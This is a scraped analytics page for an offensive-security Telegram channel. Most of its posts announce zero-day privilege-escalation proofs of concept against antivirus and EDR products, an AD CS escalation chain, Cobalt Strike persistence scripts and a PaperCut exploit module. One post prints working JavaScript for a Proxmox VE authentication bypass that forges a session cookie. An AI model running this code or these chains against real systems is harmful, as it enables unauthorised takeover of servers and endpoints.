reconcore
Open in Telegram
#vulnerability #research #cve #rce #lpe #poc #tools #pentest #redteam #blueteam #offensivesecurity #technique #methods Educational use only. Content from public sources. Admin holds no liability for misuse. Users are solely responsible for their actions.
Show more2 418
Subscribers
+224 hours
+77 days
+9530 days
Data loading in progress...
Similar Channels
Tags Cloud
Incoming and Outgoing Mentions
---
---
---
---
---
---
Attracting Subscribers
September '26
September '26
+10
in 0 channels
August '26
+136
in 1 channels
Get PRO
July '26
+122
in 0 channels
Get PRO
June '26
+159
in 2 channels
Get PRO
May '26
+92
in 2 channels
Get PRO
April '26
+89
in 2 channels
Get PRO
March '26
+116
in 1 channels
Get PRO
February '26
+145
in 1 channels
Get PRO
January '26
+157
in 2 channels
Get PRO
December '25
+317
in 3 channels
Get PRO
November '25
+170
in 0 channels
Get PRO
October '25
+216
in 1 channels
Get PRO
September '25
+125
in 2 channels
Get PRO
August '25
+118
in 5 channels
Get PRO
July '25
+96
in 2 channels
Get PRO
June '25
+51
in 1 channels
Get PRO
May '25
+68
in 3 channels
Get PRO
April '25
+117
in 2 channels
Get PRO
March '25
+84
in 1 channels
Get PRO
February '25
+108
in 1 channels
Get PRO
January '25
+73
in 2 channels
Get PRO
December '24
+4
in 0 channels
Get PRO
November '24
+127
in 0 channels
Get PRO
October '24
+38
in 0 channels
Get PRO
September '24
+37
in 0 channels
Get PRO
August '24
+328
in 0 channels
Get PRO
July '240
in 0 channels
Get PRO
June '24
+15
in 1 channels
| Date | Subscriber Growth | Mentions | Channels | |
| 03 September | +1 | |||
| 02 September | +4 | |||
| 01 September | +5 |
Channel Posts
FalconFlank
Crowdstrike Falcon 0day Privilege Escalation Vulnerability
FalconFlank is a 0day privilege escalation that abuses the office malicious macros remediation in Crowdstrike Falcon Sensor, obviously by the time I drop this Crowdstrike would already have detections for it so if you want to test you either have to add it to the exclusions or obfuscate the PoC and change the dll load technique. As of now it works in a fully updated windows 11 25H2 / Windows Server 2025 with Crowdstrike Falcon - Phase 3 Optimal Protection + needs "Microsoft Office file malicious macro removal"#vulnerability #pe #falcon #av #zeroday #poc @reconcore
| 2 |  CrowdStrike и NVIDIA совместно разработали две модели ИИ для безопасности, одну для атаки и одну для защиты
Пара тестировалась друг против друга на цифровом двойнике собственной инфраструктуры NVIDIA
CrowdStrike заявляет, что обе работают на NVIDIA Nemotron, обучены на телеметрии Falcon и 15 годах данных по реагированию на инциденты | 125 |
| 3 |  Certi-Bhai — IIS AppPool → NT AUTHORITY\SYSTEM via AD CS RPC
A webshell under IIS AppPool\DefaultAppPool can enroll against the ADCS RPC endpoint and come back with a certificate for the host machine account. Outbound domain traffic from a virtual AppPool identity is authenticated as HOST$, so the default Machine template treats the CSR as a legitimate computer enrollment.
The issued cert produces a PKINIT TGT for that machine account. S4U2Self turns it into an Administrator CIFS ticket on the same box, which is local SYSTEM-equivalent access and a path to hash dump. Potato-family impersonation is not part of the chain.
Privilege escalation from IIS AppPool to NT Authority/SYSTEM via AD CS RPC endpoint
#ad #adcs #windows #toolkit @reconcore | 253 |
| 4 |  Proxmox VE
PVE 7.4 auth-bypass exploit
// PVE 7.4 auth-bypass @reconcore 2026
// First, make sure to try logging in as root with this exact password: root@pam
(async () => {
const form = new URLSearchParams({
username: "root@pam",
password: "root@pam",
"tfa-challenge": "RECONCORE-CHALLENGE",
});
const loginResponse = await fetch("/api2/json/access/ticket", {
method: "POST",
credentials: "omit",
headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" },
body: form,
});
const loginBody = await loginResponse.json();
document.cookie = `PVEAuthCookie=${loginBody?.data?.ticket}; Path=/; Secure; SameSite=Strict`;
location.reload()
})();
#bypass @reconcore | 344 |
| 5 |  Exploit module for the recent PaperCut MF/NG 0day CVE-2026-81578 + CVE-2026-82078
Module supports both MF and NG editions, and all supported product versions 26.x, 25.x, 24.x. Bypasses vendor emergency patch v1. Emergency patch v2 successfully remediates the chain. Module also has platform agnostic Java payload support (and that will be in-memory on 26.x targets), along with OS command based payloads.
PaperCut NG/MF Critical Zero-Day Exploited in the Wild
#vulnerability #payload #zeroday #bypass @reconcore | 362 |
| 6 | NoMoreSACL
Enumerate User and Computer Objects via SAMR Protocol and Evade SACL Logging simultaneously
#poc #ad @reconcore | 401 |
| 7 | C2 Traffic Anomaly Detector
Скрипт продавался за 1200$ а на многих «закрытых форумах» и сейчас продается.
- Анализирует PCAP-файлы (дампы трафика).
- Ищет аномальные DNS-запросы (DGA, длинные поддомены, low TTL).
- Обнаруживает
подозрительные TLS сертификаты (самоподписанные, срок < 7 дней, необычные issuer).
- Выявляет регулярные интервалы между пакетами (beaconing).
- Строит граф связей между внутренними IP и внешними хостами.
этот скрипт — инструмент для анализа сетевого трафика (PCAP-файлов) с целью обнаружения признаков C2-коммуникации.
Он не атакует, не взламывает, не обходит защиту. Он читает сохранённый трафик и ищет в нём аномалии, которые могут указывать на работу вредоносного ПО (бэкдоры, RAT, майнеры, шифровальщики) или на утечку данных. | 2 |
| 8 | C2 Traffic Anomaly Detector
Скрипт продавался за 1200$ а на многих «закрытых форумах» и сейчас продается.
- Анализирует PCAP-файлы (дампы трафика).
- Ищет аномальные DNS-запросы (DGA, длинные поддомены, low TTL).
- Обнаруживает
подозрительные TLS сертификаты (самоподписанные, срок < 7 дней, необычные issuer).
- Выявляет регулярные интервалы между пакетами (beaconing).
- Строит граф связей между внутренними IP и внешними хостами.
этот скрипт — инструмент для анализа сетевого трафика (PCAP-файлов) с целью обнаружения признаков C2-коммуникации.
Он не атакует, не взламывает, не обходит защиту. Он читает сохранённый трафик и ищет в нём аномалии, которые могут указывать на работу вредоносного ПО (бэкдоры, RAT, майнеры, шифровальщики) или на утечку данных. | 2 |
| 9 |  PrettyPrague
GenDigital Avast Antivirus ZeroDay Elevation of Privileges Vulnerability
Another zeroday in an antimalware provider, I'm not sure but I believe this vulnerability affect other GenDigital products as well (such as AVG, Norton...)
For now the PoC is compatible with any version of Avast Antivirus.
The PoC will dump the SAM database by abusing a vulnerability in Avast Sandbox and spawn a full SYSTEM shell, at the time of writing this the PoC works with fully patched Avast Antivirus + Patched Windows 11 25H2
#vulnerability #elevate #poc #zeroday #av @reconcore | 436 |
| 10 |  HardBreacher
Kaspersky Antivirus For Endpoint ZeroDay Elevation of Privileges Vulnerability
#vulnerability #zeroday #elevation @reconcore | 501 |
| 11 |  PRTremote
Extract PRT cookies remotely with InteractiveToken Scheduled Tasks
PRTremote: Extract PRT Cookies Remotely with InteractiveToken Scheduled Tasks
#technique #injection #ad @reconcore | 558 |
| 12 | Manic: Blend between Banking Malware & Spyware
is a new Android banking malware and mobile spyware:
https://www.threatfabric.com/blogs/manic-blend-between-banking-malware-and-spyware | 516 |
| 13 |  CVE-2026-72137 ubuntu-7.0.0-28
#cve #linux #lpe @reconcore | 535 |
| 14 |  +1Two members of TeamPCP, Ruben Ian Thomson, 21, and Louis Michael Gaebler, 23, were arrested in Perth, Australia. The group is known for its attacks on the npm supply chain, including the Shai-Hulud worm. | 488 |
| 15 |  CobaltStrike_CNA
使用多种WinAPI进行权限维持的CobaltStrike脚本，包含API设置系统服务，设置计划任务，管理用户等。
#adduser #plugin #pentest #sheduler #wmi @reconcore | 500 |
| 16 | CS-EDR-Enumeration
Cobalt Strike Aggressor Script for identifying security products on Windows hosts — six enumeration methods rated by noise level, from silent in-process BOF to full PowerShell/WMI.
#aggressor #bof #edr #post_exploitation #offensivesecurity #purpleteam #redteam @reconcore | 506 |
| 17 | CS-EDR-Enumeration
🛡 Enumerate AV, EPP, EDR, and telemetry on Windows hosts using low-noise Cobalt Strike commands for tailored risk-based assessment.
#aggressor #bof #edr #post_exploitation #offensivesecurity #purpleteam #redteam @reconcore | 461 |
| 18 | broke Pyarmor with Frida to recover JavaScript malware payloads | 471 |
| 19 | Microsoft Entra ID Remote Code Execution Vulnerability
#vulnerability #security @reconcore | 538 |
| 20 | https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69836 | 13 |
